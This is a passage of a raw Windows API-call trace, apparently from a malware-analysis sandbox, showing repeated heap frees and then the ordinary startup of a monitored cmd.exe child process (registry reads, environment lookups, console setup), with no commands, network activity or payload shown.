HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.919] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.938] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.943] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.954] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.973] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.977] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.986] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.990] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.992] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.001] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.003] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.010] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.013] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.018] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.021] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.541] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.543] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.545] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.546] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.548] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.548] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.550] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.552] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.553] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.555] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.557] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.559] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.561] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.563] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.667] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.679] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.680] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.680] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.680] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.681] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.681] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.681] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.681] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.682] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.684] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.684] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.685] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.686] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.687] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.688] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.689] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.689] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.690] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.690] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.691] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.691] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.692] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.693] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.694] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.694] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.694] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.696] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.697] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.697] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.697] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.698] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.701] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.702] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.703] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.704] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.705] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.706] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.706] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.707] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.708] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.709] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.709] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.711] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0220.711] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.731] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.798] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.839] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0220.892] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0221.033] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0221.090] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0221.092] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0221.137] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0221.182] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0221.314] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0221.439] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0221.443] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0221.572] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0221.626] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0221.626] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0221.626] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0221.656] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0221.846] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0221.846] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0221.953] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0222.070] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0222.948] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0222.948] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 Thread: id = 34 os_tid = 0xfb8 Thread: id = 36 os_tid = 0x39c Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x2fe45000" os_pid = "0xb10" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x4b0" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 7 os_tid = 0xd94 [0196.113] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6a7520000 [0196.113] __set_app_type (_Type=0x1) [0196.113] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6a7536d00) returned 0x0 [0196.114] __getmainargs (in: _Argc=0x7ff6a7559200, _Argv=0x7ff6a7559208, _Env=0x7ff6a7559210, _DoWildCard=0, _StartInfo=0x7ff6a755921c | out: _Argc=0x7ff6a7559200, _Argv=0x7ff6a7559208, _Env=0x7ff6a7559210) returned 0 [0196.114] _onexit (_Func=0x7ff6a7537fd0) returned 0x7ff6a7537fd0 [0196.114] _onexit (_Func=0x7ff6a7537fe0) returned 0x7ff6a7537fe0 [0196.114] _onexit (_Func=0x7ff6a7537ff0) returned 0x7ff6a7537ff0 [0196.114] _onexit (_Func=0x7ff6a7538000) returned 0x7ff6a7538000 [0196.114] _onexit (_Func=0x7ff6a7538010) returned 0x7ff6a7538010 [0196.115] _onexit (_Func=0x7ff6a7538020) returned 0x7ff6a7538020 [0196.115] GetCurrentThreadId () returned 0xd94 [0196.115] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd94) returned 0x70 [0196.115] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0196.115] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0196.115] SetThreadUILanguage (LangId=0x0) returned 0x409 [0196.972] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0196.972] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xe6b974fd58 | out: phkResult=0xe6b974fd58*=0x0) returned 0x2 [0196.972] VirtualQuery (in: lpAddress=0xe6b974fd44, lpBuffer=0xe6b974fcc0, dwLength=0x30 | out: lpBuffer=0xe6b974fcc0*(BaseAddress=0xe6b974f000, AllocationBase=0xe6b9650000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0196.972] VirtualQuery (in: lpAddress=0xe6b9650000, lpBuffer=0xe6b974fcc0, dwLength=0x30 | out: lpBuffer=0xe6b974fcc0*(BaseAddress=0xe6b9650000, AllocationBase=0xe6b9650000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0196.972] VirtualQuery (in: lpAddress=0xe6b9651000, lpBuffer=0xe6b974fcc0, dwLength=0x30 | out: lpBuffer=0xe6b974fcc0*(BaseAddress=0xe6b9651000, AllocationBase=0xe6b9650000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0196.972] VirtualQuery (in: lpAddress=0xe6b9654000, lpBuffer=0xe6b974fcc0, dwLength=0x30 | out: lpBuffer=0xe6b974fcc0*(BaseAddress=0xe6b9654000, AllocationBase=0xe6b9650000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0196.972] VirtualQuery (in: lpAddress=0xe6b9750000, lpBuffer=0xe6b974fcc0, dwLength=0x30 | out: lpBuffer=0xe6b974fcc0*(BaseAddress=0xe6b9750000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffb78a, RegionSize=0xb0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0196.972] GetConsoleOutputCP () returned 0x1b5 [0197.108] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a755fbb0 | out: lpCPInfo=0x7ff6a755fbb0) returned 1 [0197.108] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6a7548150, Add=1) returned 1 [0197.108] _get_osfhandle (_FileHandle=1) returned 0x234 [0197.108] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x7ff6a755fc04 | out: lpMode=0x7ff6a755fc04) returned 0 [0197.108] _get_osfhandle (_FileHandle=0) returned 0x228 [0197.108] GetConsoleMode (in: hConsoleHandle=0x228, lpMode=0x7ff6a755fc00 | out: lpMode=0x7ff6a755fc00) returned 0 [0197.108] _get_osfhandle (_FileHandle=1) returned 0x234 [0197.108] SetConsoleMode (hConsoleHandle=0x234, dwMode=0x0) returned 0 [0197.108] _get_osfhandle (_FileHandle=1) returned 0x234 [0197.109] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x7ff6a755fc08 | out: lpMode=0x7ff6a755fc08) returned 0 [0197.109] _get_osfhandle (_FileHandle=0) returned 0x228 [0197.109] GetConsoleMode (in: hConsoleHandle=0x228, lpMode=0x7ff6a755fc0c | out: lpMode=0x7ff6a755fc0c) returned 0 [0197.109] GetEnvironmentStringsW () returned 0x21ccf2a5a10* [0197.109] GetProcessHeap () returned 0x21ccf2a0000 [0197.109] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0xa7c) returned 0x21ccf2a64a0 [0197.109] FreeEnvironmentStringsA (penv="A") returned 1 [0197.109] GetProcessHeap () returned 0x21ccf2a0000 [0197.109] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x8) returned 0x21ccf2a6f30 [0197.109] GetEnvironmentStringsW () returned 0x21ccf2a5a10* [0197.109] GetProcessHeap () returned 0x21ccf2a0000 [0197.109] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0xa7c) returned 0x21ccf2a6f50 [0197.109] FreeEnvironmentStringsA (penv="A") returned 1 [0197.109] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xe6b974ec08 | out: phkResult=0xe6b974ec08*=0x7c) returned 0x0 [0197.109] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xe6b974ec00, lpData=0xe6b974ec20, lpcbData=0xe6b974ec04*=0x1000 | out: lpType=0xe6b974ec00*=0x0, lpData=0xe6b974ec20*=0x4, lpcbData=0xe6b974ec04*=0x1000) returned 0x2 [0197.109] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xe6b974ec00, lpData=0xe6b974ec20, lpcbData=0xe6b974ec04*=0x1000 | out: lpType=0xe6b974ec00*=0x4, lpData=0xe6b974ec20*=0x1, lpcbData=0xe6b974ec04*=0x4) returned 0x0 [0197.109] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xe6b974ec00, lpData=0xe6b974ec20, lpcbData=0xe6b974ec04*=0x1000 | out: lpType=0xe6b974ec00*=0x0, lpData=0xe6b974ec20*=0x1, lpcbData=0xe6b974ec04*=0x1000) returned 0x2 [0197.109] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xe6b974ec00, lpData=0xe6b974ec20, lpcbData=0xe6b974ec04*=0x1000 | out: lpType=0xe6b974ec00*=0x4, lpData=0xe6b974ec20*=0x0, lpcbData=0xe6b974ec04*=0x4) returned 0x0 [0197.110] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xe6b974ec00, lpData=0xe6b974ec20, lpcbData=0xe6b974ec04*=0x1000 | out: lpType=0xe6b974ec00*=0x4, lpData=0xe6b974ec20*=0x40, lpcbData=0xe6b974ec04*=0x4) returned 0x0 [0197.110] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xe6b974ec00, lpData=0xe6b974ec20, lpcbData=0xe6b974ec04*=0x1000 | out: lpType=0xe6b974ec00*=0x4, lpData=0xe6b974ec20*=0x40, lpcbData=0xe6b974ec04*=0x4) returned 0x0 [0197.110] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xe6b974ec00, lpData=0xe6b974ec20, lpcbData=0xe6b974ec04*=0x1000 | out: lpType=0xe6b974ec00*=0x0, lpData=0xe6b974ec20*=0x40, lpcbData=0xe6b974ec04*=0x1000) returned 0x2 [0197.110] RegCloseKey (hKey=0x7c) returned 0x0 [0197.110] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xe6b974ec08 | out: phkResult=0xe6b974ec08*=0x7c) returned 0x0 [0197.110] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xe6b974ec00, lpData=0xe6b974ec20, lpcbData=0xe6b974ec04*=0x1000 | out: lpType=0xe6b974ec00*=0x0, lpData=0xe6b974ec20*=0x40, lpcbData=0xe6b974ec04*=0x1000) returned 0x2 [0197.110] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xe6b974ec00, lpData=0xe6b974ec20, lpcbData=0xe6b974ec04*=0x1000 | out: lpType=0xe6b974ec00*=0x4, lpData=0xe6b974ec20*=0x1, lpcbData=0xe6b974ec04*=0x4) returned 0x0 [0197.110] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xe6b974ec00, lpData=0xe6b974ec20, lpcbData=0xe6b974ec04*=0x1000 | out: lpType=0xe6b974ec00*=0x0, lpData=0xe6b974ec20*=0x1, lpcbData=0xe6b974ec04*=0x1000) returned 0x2 [0197.110] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xe6b974ec00, lpData=0xe6b974ec20, lpcbData=0xe6b974ec04*=0x1000 | out: lpType=0xe6b974ec00*=0x4, lpData=0xe6b974ec20*=0x0, lpcbData=0xe6b974ec04*=0x4) returned 0x0 [0197.110] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xe6b974ec00, lpData=0xe6b974ec20, lpcbData=0xe6b974ec04*=0x1000 | out: lpType=0xe6b974ec00*=0x4, lpData=0xe6b974ec20*=0x9, lpcbData=0xe6b974ec04*=0x4) returned 0x0 [0197.110] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xe6b974ec00, lpData=0xe6b974ec20, lpcbData=0xe6b974ec04*=0x1000 | out: lpType=0xe6b974ec00*=0x4, lpData=0xe6b974ec20*=0x9, lpcbData=0xe6b974ec04*=0x4) returned 0x0 [0197.110] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xe6b974ec00, lpData=0xe6b974ec20, lpcbData=0xe6b974ec04*=0x1000 | out: lpType=0xe6b974ec00*=0x0, lpData=0xe6b974ec20*=0x9, lpcbData=0xe6b974ec04*=0x1000) returned 0x2 [0197.110] RegCloseKey (hKey=0x7c) returned 0x0 [0197.110] time (in: timer=0x0 | out: timer=0x0) returned 0x5cafba0b [0197.110] srand (_Seed=0x5cafba0b) [0197.110] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0197.110] malloc (_Size=0x4000) returned 0x21ccf4554f0 [0197.110] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0197.111] malloc (_Size=0xffce) returned 0x21ccf460080 [0197.111] ??_V@YAXPEAX@Z () returned 0x21ccf460080 [0197.111] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21ccf460080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0197.112] malloc (_Size=0xffce) returned 0x21ccf470060 [0197.112] ??_V@YAXPEAX@Z () returned 0x21ccf470060 [0197.112] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21ccf470060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0197.113] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6a755bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0197.113] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6a755bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0197.113] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6a755bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0197.113] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0197.113] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0197.113] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0197.113] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0197.113] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0197.113] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0197.113] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0197.113] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0197.113] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0197.113] GetProcessHeap () returned 0x21ccf2a0000 [0197.113] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a64a0) returned 1 [0197.113] GetEnvironmentStringsW () returned 0x21ccf2a5a10* [0197.113] GetProcessHeap () returned 0x21ccf2a0000 [0197.113] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0xa94) returned 0x21ccf2a7a10 [0197.113] FreeEnvironmentStringsA (penv="A") returned 1 [0197.113] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff6a755bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0197.113] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff6a755bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0197.114] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0197.114] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0197.114] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0197.114] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0197.114] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0197.114] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0197.114] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0197.114] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0197.114] malloc (_Size=0xffce) returned 0x21ccf480040 [0197.114] ??_V@YAXPEAX@Z () returned 0x21ccf480040 [0197.115] GetProcessHeap () returned 0x21ccf2a0000 [0197.115] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x40) returned 0x21ccf2a84b0 [0197.115] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21ccf480040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0197.115] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x21ccf480040, lpFilePart=0xe6b974f780 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", 